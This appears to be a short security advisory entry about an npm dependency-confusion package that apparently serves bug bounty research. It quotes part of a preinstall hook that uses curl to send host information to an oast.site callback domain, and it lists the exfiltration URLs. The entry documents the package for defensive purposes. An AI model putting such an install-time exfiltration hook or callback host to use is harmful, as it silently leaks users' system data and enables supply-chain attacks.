GCVE-110-OSM-2026-6473

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, network activity, install-time execution. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "curl -s --data-urlencode \"" DESTINATION - oast: http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/install/$(echo (primary, plaintext) in package.json - oast: http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/uninstall/blinkit-core (plaintext) in package.json - custom-c2: d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site (plaintext) in package.json EXFIL - OAST/Interactsh Exfiltration in package.json: "oast.site" - Suspicious Domain in package.json: "http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast" ADDITIONAL FINDINGS - Brand New Package